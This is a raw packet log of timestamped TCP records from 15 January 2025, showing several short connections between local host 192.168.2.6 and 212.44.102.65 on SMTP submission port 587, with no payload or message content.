Jan 15, 2025 08:43:00.867626905 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867654085 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867681980 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867708921 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867734909 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867784977 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867818117 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867846012 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867873907 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867899895 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867925882 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867953062 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.870583057 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.870609999 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.870636940 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.870663881 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.872848988 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.872876883 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.872904062 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.872952938 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.872981071 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.196718931 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.196903944 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:01.201987028 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.304774046 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.392858982 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.393016100 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:01.397799015 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.418355942 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:01.589380026 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.589591980 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:01.594440937 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.800961971 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.801460028 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:01.806265116 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:01.997649908 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.001702070 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.006562948 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.248784065 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.249674082 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.254570007 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.445662022 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.446077108 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.446132898 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.446132898 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.446182966 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.447371006 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.450918913 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.450946093 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.450959921 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.451061964 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.451092958 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.452228069 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452241898 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452265024 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452277899 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452300072 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452301979 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.452312946 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452352047 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.452421904 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452435970 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452447891 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.452455997 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.452502966 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.455965996 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457068920 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457170010 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457184076 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457278013 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457304001 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.457343102 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457356930 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457463026 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457473040 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.457505941 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457520962 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.457541943 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.457655907 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.462202072 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462286949 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462300062 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462313890 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462376118 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462420940 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462424040 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:02.462470055 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462502003 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462537050 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462579012 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462644100 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462690115 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462763071 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462775946 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462799072 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462810993 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462855101 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462867975 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462913990 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462925911 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462950945 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.462964058 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.463015079 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.463027954 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.466950893 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467257977 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467269897 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467324972 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467345953 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467364073 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467370033 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467448950 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467462063 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.467473984 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:02.911957979 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:03.027792931 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:06.185606003 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:06.190646887 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:06.584636927 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:06.584678888 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:06.584789038 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:06.584928989 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:06.585769892 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:06.589648962 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:06.590639114 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:06.592223883 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:07.206192970 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:07.206374884 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:07.211216927 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:07.406944990 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:07.407182932 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:07.412674904 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:07.607918024 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:07.608344078 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:07.614017963 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:07.824434042 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:07.825742960 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:07.831655025 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.026936054 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.027151108 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.033670902 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.274384975 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.274846077 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.281543970 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.476052999 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.479861021 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.479969978 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.479969978 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.481249094 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.481249094 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.486849070 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.486998081 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.487026930 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488243103 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488271952 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488337994 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488364935 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488383055 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.488393068 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488418102 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.488426924 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488442898 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.488456011 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488462925 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.488485098 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.488506079 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488535881 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488563061 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.488573074 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.488620996 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.488682032 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.495476961 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495635033 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495734930 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.495763063 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495790958 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495822906 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495871067 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.495873928 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495902061 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495929003 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495955944 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495984077 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.495985985 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.496028900 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.496287107 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.500852108 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.500976086 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501033068 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501061916 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501085997 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:08.501113892 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501147032 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501174927 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501230001 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501256943 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501307011 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501339912 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501373053 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501391888 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501405954 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501419067 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501432896 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501445055 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501471043 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501482964 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501508951 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501518965 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501529932 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501540899 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501559019 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.501569033 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506364107 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506372929 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506390095 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506397009 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506460905 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506469965 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506478071 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506594896 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.506603003 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:08.952850103 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:09.027762890 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:20.864701986 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:20.869467020 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:21.266925097 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:21.266948938 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:21.267010927 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:21.267095089 CET	50011	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:21.271887064 CET	587	50011	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:21.278156042 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:21.283026934 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:21.283093929 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:21.876838923 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:21.876998901 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:21.881858110 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.073160887 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.073299885 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:22.078115940 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.269594908 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.269778013 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:22.274595022 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.482578039 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.482722998 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:22.487520933 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.678770065 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.678982973 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:22.683850050 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.928091049 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:22.929713964 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:22.934561968 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.125801086 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.129880905 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.129940033 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.129940033 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.130042076 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.132216930 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.134749889 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.134764910 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.134773970 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.134839058 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.134882927 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.137164116 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.137173891 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.137192011 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.137200117 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.137224913 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.137247086 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.137257099 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.137286901 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.137346029 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.137351036 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.137537003 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.138222933 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.138231993 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.139775991 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.139878988 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.142131090 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.142220020 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.142350912 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.142354965 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.142364025 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.142393112 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.142432928 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.142436028 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.142481089 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.142522097 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.142589092 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.144745111 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.144803047 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.144855022 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.144990921 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.147186041 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147200108 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147237062 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147283077 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.147303104 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:23.147310019 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147356033 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147413969 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147470951 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147486925 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147555113 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147672892 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147819996 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.147828102 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.149566889 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.149576902 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.149584055 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.149593115 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.149833918 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.149842024 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.149919033 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.150005102 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.150012970 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.150023937 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.150041103 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.151700974 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.151724100 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.151781082 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.151788950 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.151859999 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152192116 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152199984 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152215958 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152224064 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152278900 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152287960 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152358055 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152367115 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152400017 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.152410030 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.612970114 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:23.715338945 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:24.035017014 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:24.039881945 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:24.433423042 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:24.433475018 CET	587	50013	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:24.433527946 CET	50013	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:24.433573008 CET	50013	587	192.168.2.6	212.44.102.65
